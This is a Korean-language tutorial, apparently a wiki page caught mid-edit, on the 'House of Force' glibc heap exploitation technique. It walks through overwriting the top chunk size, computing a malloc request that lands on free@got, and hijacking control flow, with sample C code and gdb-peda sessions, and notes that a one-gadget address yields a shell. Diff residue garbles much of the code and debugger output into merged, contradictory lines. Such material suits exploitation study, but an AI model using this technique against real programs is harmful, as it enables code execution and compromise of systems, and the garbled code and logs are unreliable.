...
Excuse the ads! We need some help to keep our site up.
List
...
House of Force
Conditions
- 해당 기술은 다음과 같은 조건이 만족해야만 동작합니다.
- 공격자에 의해 Top chunk영역에 값을 덮어쓸 수 있어야 합니다.
- 공격자에 의해 할당되는 Heap 크기를 제어 할 수 있어야 합니다.
- 공격자에 의해 할당된 Chunk 영역에 값을 저장 할 수 있어야 합니다.
Exploit plan
- 다음과 같은 방법으로 공격할 수 있습니다.
- Heap 영역을 생성합니다.
- Top chunk를 0xffffffffffffffff으로 덮어씁니다.
- 다음과 같이 계산된 값을 Malloc()의 인자 값으로 전달해 메모리를 할당 합니다.
- Target address - Allocated chunk header size(8/4) - Top chunk address
- 또 다시 Malloc()를 호출합니다.
Example
Files
Source code
- malloc()은 다음과 같은 방법으로 Top chunk를 사용하여 메모리를 할당합니다.
main_arene→top이 가지고 있는 값을 victim에 저장되고, top chunk의 크기를 size에 저장합니다.
malloc()은 "size"가 가지고 있는 값이 "새로 요청된 메모리의 크기(nb) + chunk의 최소 크기(MINSIZE)" 보다 크거나 같은 경우Top chunk의 공간을 사용합니다.
"size"에 저장된 값과 새로 요청된 메모리의 크기(nb)를 뺀 값을 "remainder_size"에 저장되고, victim에 저장된 값과 새로 요청된 메모리의 크기(nb)를 더한 값을 "remainder"에 저장합니다.
remainder는 main_arene→top에 저장합니다.
set_head()를 이용하여 새로 요청된 메모리의 크기(nb)를 victim→size에 저장되고, remainder_size가 가지고 있는 값을 remainder→size 에 저장합니다.
malloc()은 chunk2mem()가 호출되고 주소(p + 2*SIZE_SZ)를 반환합니다.
Code Block |
---|
language | cpp |
---|
firstline | 2706 |
---|
title | /release/2.25/master/malloc/malloc.c |
---|
linenumbers | true |
---|
|
/* finally, do the allocation */
p = av->top;
size = chunksize (p);
/* check that one of the above allocation paths succeeded */
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (p, nb);
av->top = remainder;
set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
check_malloced_chunk (av, p, nb);
return chunk2mem (p);
} |
- House of Force는 Top chunk의 size에 저장된 값을 다른 값으로 덮어쓸수 있고, 원하는 크기의 메모리 할당을 요청할 수 있다면 구현이 가능합니다.
- 메모리 할당을 mallo()에 요청한 후 Top chunk의 값을 0xffffffffffffffff으로 덮어씁니다.
- 원하는 Memory 영역을 할당받기 위해 다음과 같이 계산된 값을 Mallo()함수의 인자 값으로 전달합니다.
- "할당 받기를 원하는 메모리의 주소" - "Chunk header size(16 or 8)" - Top chunk address - "Chunk header size(16 or 8)"
- 메모리 할당 요청 후에 할당 받고 싶은 메모리의 주소가 Top chunk에 저장됩니다.
- 메모리 할당을 malloc()에 요청하면 해당 메모리를 반환합니다.
- 예를 들어 다음과 같이 1개의 메모리를 할당받고 Top chunk의 size값을 0xffffffffffffffff으로 덮어씁니다.
- 0x601010를 할당받기 위해 malloc()에 크기가 0xffffffffffffeee0인 메모리 할당을 요청합니다.
- 0x601010 - 0x10 - 0x602110 - 0x10 = 0xffffffffffffeee0
- 메모리를 할당한 후에 0x601000이 main_arena→top에 저장됩니다.
- 그리고 메모리 할당을 malloc()에 요청하면 0x601010을 반환합니다.
Panel |
---|
|
Image Added
|
Example
- 이 코드는 앞에서 설명한 예와 같은 동작을 합니다.
- 1개의 메모리를 할당받고, Top chunk의 값을 변경합니다.
- 그리고 다음 메모리 할당 요청에서 원하는 메모리 주소를 할당 받기 위해 malloc()에 크기가 0xffffffffffffeee0인 메모리 할당을 요청합니다.
- malloc()에 메모리 할당을 요청하고 반환된 값을 buf3에 저장합니다.
- buf3[0]에 0x4141414141414141를 저장하고, free() 함수를 호출합니다
해당 함수는 다음과 같은 기능을 합니다.- 프로그램에서 3개의 Heap 영역을 할당합니다.
- 생성된 Heap 영역은 사용자에 의해 길이 제한없이 값을 저장 할 수 있습니다.
- 할당된 영역은 free()함수에 의해 모두 해제됩니다.
Code Block |
---|
language | cpp |
---|
title | Sample codehouse_of_force.c |
---|
|
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
int size;
charunsigned long *buf1, *buf2, *buf3;
fprintf(stderr,"The house of Force");
buf1 = malloc(256);
printf("buf1 : ");
scanf("%s",buf1);
printf("Size : ");
scanf("%d",&size);
buf1[33] = 0xffffffffffffffff;
buf2 = malloc(size0xffffffffffffeee0);
printf("buf3 : ");
buf3 = malloc(256);
scanf("%s",buf3)
buf3[0] = 0x4141414141414141;
free(buf3);
free(buf2);
free(buf1);
return 0;
} |
Exploit flow
Panel |
---|
|
Image Removed
|
Debugging
- 다음과 같이 Break point를 설정합니다.
0x40066f : 1번째 scanf() 함수 호출 후
0x40069c : 2번째 malloc() 함수 호출 전
0x4006be : 3번째 malloc() 함수 호출 후
Code Block |
---|
|
gdb-peda$ b *0x000000000040066f
Breakpoint 1 at 0x40066f
gdb-peda$ b *0x000000000040069c
Breakpoint 2 at 0x40069c
gdb-peda$ b *0x00000000004006be
Breakpoint 3 at 0x4006be
gdb-peda$ |
- 다음과 같이 사용자 입력 값에 의해 Top chunk의 값을 덮어 쓸 수 있습니다.
- 사용자로 부터 입력받는 문자열에 대한 길이 제한이 없기 때문에 Top chunk를 덮어 쓸 수 있습니다.
- Top chunk를 덮어쓰기 위한 문자열의 길이 : "A" * 264 + "B" * 8
- 나는 테스트를 위해 'B' 문자 8개를 Top chunk에 저장하였습니다.
- 공격자는 "House of Force" 기법을 사용하기 위해 Top chunk영역에 "0xffffffffffffffff" 값을 저장해야 합니다.
- 여기에서는 set 명령어를 이용해 Top chunk의 값을 변경하겠습니다.
Code Block |
---|
title | Overwrite the Top chunk |
---|
|
gdb-peda$ r
Starting program: /home/lazenca0x0/force
buf1 : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
Breakpoint 1, 0x000000000040066f in main ()
gdb-peda$ x/40gx 0x602010 - 0x10
0x602000: 0x0000000000000000 0x0000000000000111
0x602010: 0x4141414141414141 0x4141414141414141
0x602020: 0x4141414141414141 0x4141414141414141
0x602030: 0x4141414141414141 0x4141414141414141
0x602040: 0x4141414141414141 0x4141414141414141
0x602050: 0x4141414141414141 0x4141414141414141
0x602060: 0x4141414141414141 0x4141414141414141
0x602070: 0x4141414141414141 0x4141414141414141
0x602080: 0x4141414141414141 0x4141414141414141
0x602090: 0x4141414141414141 0x4141414141414141
0x6020a0: 0x4141414141414141 0x4141414141414141
0x6020b0: 0x4141414141414141 0x4141414141414141
0x6020c0: 0x4141414141414141 0x4141414141414141
0x6020d0: 0x4141414141414141 0x4141414141414141
0x6020e0: 0x4141414141414141 0x4141414141414141
0x6020f0: 0x4141414141414141 0x4141414141414141
0x602100: 0x4141414141414141 0x4141414141414141
0x602110: 0x4141414141414141 0x4242424242424242
0x602120: 0x0000000000000000 0x0000000000000000
0x602130: 0x0000000000000000 0x0000000000000000
gdb-peda$ set * 0x602118 = 0xffffffff
gdb-peda$ set * 0x60211c = 0xffffffff
gdb-peda$ x/gx 0x602118
0x602118: 0xffffffffffffffff
gdb-peda$ |
- 다음과 같이 계산된 값을 malloc()함수의 인자 값으로 전달 합니다.
- 원하는 Memory 영역을 할당받기 위해 다음과 같이 계산된 값을 Mallo()함수의 인자 값으로 전달합니다.
- "할당 받기 원하는 주소" - "Chunk header size(16 or 8)" - Top chunk address
- free()함수의 got 영역을 공격 대상으로 설정하고 진행하겠습니다.
- 해당 연산에서 0x8을 빼는 이유는 Heap 할당 영역은 0x*0 단위로 할당 되기 때문입니다.
- 이렇게 연산된 값을 Set 명령어를 이용해 rdi 레지스터에 저장합니다.
- malloc() 함수를 호출하면 첫번째 Heap 영역 뒤에 생성된 것을 확인 할 수 있습니다.
- 해당 Heap 크기는 0xffffffffffffeef1 입니다.
- Top chunk 영역 : -4376(0xffffffffffffeef1) + 0x602110 + 0x8 = 0x601000
- 0x40062d 에서는 할당된 메모리 주소와 main_arena→top에 저장된 값을 확인합니다.
- 0x40063b, 0x400649에서 main_arena→top에 저장된 값의 변화를 확인합니다.
- 0x400657 에서는 새로 할당된 메모리의 주소를 확인합니다.
- 0x400672, 0x40067c에서는 저장된 데이터가 코드의 흐름에 어떠한 영향을 주는지 확인합니다.
Code Block |
---|
|
lazenca0x0@ubuntu:~$ gcc -o test test.c
lazenca0x0@ubuntu:~$ gdb -q ./test
Reading symbols from ./test...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x00000000004005f6 <+0>: push rbp
0x00000000004005f7 <+1>: mov rbp,rsp
0x00000000004005fa <+4>: sub rsp,0x30
0x00000000004005fe <+8>: mov DWORD PTR [rbp-0x24],edi
0x0000000000400601 <+11>: mov QWORD PTR [rbp-0x30],rsi
0x0000000000400605 <+15>: mov rax,QWORD PTR [rip+0x200a54] # 0x601060 <stderr@@GLIBC_2.2.5>
0x000000000040060c <+22>: mov rcx,rax
0x000000000040060f <+25>: mov edx,0x12
0x0000000000400614 <+30>: mov esi,0x1
0x0000000000400619 <+35>: mov edi,0x400714
0x000000000040061e <+40>: call 0x4004e0 <fwrite@plt>
0x0000000000400623 <+45>: mov edi,0x100
0x0000000000400628 <+50>: call 0x4004d0 <malloc@plt>
0x000000000040062d <+55>: mov QWORD PTR [rbp-0x18],rax
0x0000000000400631 <+59>: mov rax,QWORD PTR [rbp-0x18]
0x0000000000400635 <+63>: add rax,0x108
0x000000000040063b <+69>: mov QWORD PTR [rax],0xffffffffffffffff
0x0000000000400642 <+76>: mov rdi,0xffffffffffffeee0
0x0000000000400649 <+83>: call 0x4004d0 <malloc@plt>
0x000000000040064e <+88>: mov QWORD PTR [rbp-0x10],rax
0x0000000000400652 <+92>: mov edi,0x100
0x0000000000400657 <+97>: call 0x4004d0 <malloc@plt>
0x000000000040065c <+102>: mov QWORD PTR [rbp-0x8],rax
0x0000000000400660 <+106>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000400664 <+110>: add rax,0x8
0x0000000000400668 <+114>: movabs rdx,0x4141414141414141
0x0000000000400672 <+124>: mov QWORD PTR [rax],rdx
0x0000000000400675 <+127>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000400679 <+131>: mov rdi,rax
0x000000000040067c <+134>: call 0x4004b0 <free@plt>
0x0000000000400681 <+139>: mov eax,0x0
0x0000000000400686 <+144>: leave
0x0000000000400687 <+145>: ret
End of assembler dump.
gdb-peda$ b *0x000000000040062d
Breakpoint 1 at 0x40062d
gdb-peda$ b *0x000000000040063b
Breakpoint 2 at 0x40063b
gdb-peda$ b *0x0000000000400649
Breakpoint 3 at 0x400649
gdb-peda$ b *0x0000000000400657
Breakpoint 4 at 0x400657
gdb-peda$ b *0x0000000000400672
Breakpoint 5 at 0x400672
gdb-peda$ b *0x000000000040067c
Breakpoint 6 at 0x40067c
gdb-peda$ |
- 할당받은 첫번째 메모리의 주소는 0x602010이고, Top chunk의 주소는 0x602110이며, 크기는 0x20ef1입니다.
- 0xffffffffffffffff를 main_arena→top→size에 저장합니다.
Code Block |
---|
title | Overwrite the size value of the top chunk. |
---|
|
gdb-peda$ r
Starting program: /home/lazenca0x0/test
The house of Force
Breakpoint 1, 0x000000000040062d |
Code Block |
---|
|
gdb-peda$ c
Continuing.
Size : 1
Breakpoint 2, 0x000000000040069c in main ()
gdb-peda$ elfsymbol free
Detail symbol info
free@reloc = 0
free@plt = 0x4004e0
free@got = 0x601018 i r rax
rax 0x602010 0x602010
gdb-peda$ p main_arena.top
$1 = (mchunkptr) 0x602110
gdb-peda$ p main_arena.top.size
$2 = 0x20ef1
gdb-peda$ c
Continuing.
Breakpoint 2, 0x000000000040063b in main ()
gdb-peda$ p/x 0x601018 - 0x10 - 0x602118 - 0x8
$1 = 0xffffeee8
gdb-peda$ set $rdi = 0xffffffffffffeee8x/i $rip
=> 0x40063b <main+69>: mov QWORD PTR [rax],0xffffffffffffffff
gdb-peda$ i r rax
rax 0x602118 0x602118
gdb-peda$ |
- 크기가 0xffffffffffffeee0 인 메모리의 할당을 mallo()에 요청한 후 Top chunk가 0x601000으로 변경됩니다.
- 이로 인해 다음 메모리 할당 요청에서는 0x601010 영역을 할당 받게됩니다.
Code Block |
---|
title | change in the value of main_arene.top |
---|
|
gdb-peda$ c
Continuing.
Breakpoint 3, 0x0000000000400649 in main ()
gdb-peda$ x/i $rip
=> 0x400649 <main+83>: call 0x4004d0 <malloc@plt>
gdb-peda$ i r rdi
rdi 0xffffffffffffeee80xffffffffffffeee0 0xffffffffffffeee80xffffffffffffeee0
gdb-peda$ ni
0x00000000004006a1
0x000000000040064e in main ()
gdb-peda$ i r rax
rax 0x602120 0x602120
gdb-peda$ x/30gx 0x602120 - 0x10
0x602110: 0x4141414141414141 0xffffffffffffeef1
0x602120: 0x0000000000000000 0x0000000000000000
0x602130: 0x0000000000000000 0x0000000000000000
0x602140: 0x0000000000000000 0x0000000000000000
0x602150: 0x0000000000000000 0x0000000000000000
0x602160: 0x0000000000000000 0x0000000000000000
0x602170: 0x0000000000000000 0x0000000000000000
0x602180: 0x0000000000000000 0x0000000000000000
0x602190: 0x0000000000000000 0x0000000000000000
0x6021a0: 0x0000000000000000 0x0000000000000000
0x6021b0: 0x0000000000000000 0x0000000000000000
0x6021c0: 0x0000000000000000 0x0000000000000000
0x6021d0: 0x0000000000000000 0x0000000000000000
0x6021e0: 0x0000000000000000 0x0000000000000000
0x6021f0: 0x0000000000000000 0x0000000000000000
gdb-peda$ p/d 0xffffffffffffeee8
$2 = -4376
gdb-peda$ p/d 0xffffffffffffeef1
$3 = -4367
gdb-peda$ p/x -4376 + 0x602110 + 0x10 +0x8
$4 = 0x601010
gdb-peda$ p/x -4367 + 0x602110 - 0x1
$5 = 0x601000 |
- 다음과 같이 또 한번 Heap 영역을 할당 받으면 "free@got" 영역을 할당 받을 수 있습니다.
- 할당 받은 영역은 scanf() 함수에 의해 사용자 입력값을 저장 할 수 있습니다.
p main_arena.top
$3 = (mchunkptr) 0x601000
gdb-peda$ c
Continuing.
Breakpoint 4, 0x0000000000400657 in main ()
gdb-peda$ x/i $rip
=> 0x400657 <main+97>: call 0x4004d0 <malloc@plt>
gdb-peda$ i r rdi
rdi 0x100 0x100
gdb-peda$ ni
0x000000000040065c in main ()
gdb-peda$ i r rax
rax 0x601010 0x601010
gdb-peda$
|
- 프로그램은 0x601018에 0x4141414141414141를 저장합니다.
- 만약 0x601018에 0x4141414141414141가 아닌 One-gadget의 주소를 입력하였다면 shell을 획득할 수 있게 됩니다.
Code Block |
---|
|
Code Block |
---|
title | Allocate the ".got" area |
---|
|
gdb-peda$ c
Continuing.
Breakpoint 35, 0x00000000004006be0x0000000000400672 in main ()
gdb-peda$ x/i $rip
=> 0x400672 <main+124>: mov QWORD PTR [rax],rdx
gdb-peda$ i r rax rdx
rax 0x601018 0x601018
rdx 0x601010 0x601010 0x4141414141414141 0x4141414141414141
gdb-peda$ x/10gx 0x601010 - 0x10
0x601000: 0x0000000000600e28 0x0000000000000111
0x601010: 0x00007ffff7df0670 0x00000000004004e6
0x601020 <printf@got.plt>: 0x00007ffff7a65340 0x00007ffff7a32e50
0x601030 <__gmon_start__@got.plt>: 0x0000000000400516 0x00007ffff7a93a80
0x601040 <__isoc99_scanf@got.plt>: 0x00007ffff7a6ed10 0x0000000000000000
gdb-peda$ x/gx 0x601010 + 0x8
0x601018 <free@got.plt>: 0x00000000004004e6gx 0x601018
0x601018: 0x00000000004004b6
gdb-peda$ x/gx 0x00000000004004b6
0x4004b6 <free@plt+6>: 0xffe0e90000000068
gdb-peda$ elfsymbol free
Detail symbol info
free@reloc = 0
free@plt = 0x4004b0
free@got = 0x601018
gdb-peda$ c
Continuing.
Breakpoint 6, 0x000000000040067c in main ()
gdb-peda$ x/i $rip
=> 0x40067c <main+134>: call 0x4004b0 <free@plt>
gdb-peda$
gdb-peda$ x/2i 0x4004b0
0x4004b0 <free@plt>: jmp QWORD PTR [rip+0x200b62] # 0x601018
0x4004b6 <free@plt+6>: push 0x0
gdb-peda$ p/x 0x4004b6 + 0x200b62
$7 = 0x601018
gdb-peda$ x/gx 0x601018
0x601018: 0x4141414141414141
gdb-peda$ c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0x00000000004004b0 in free@plt ()
gdb-peda$ |
Related information
...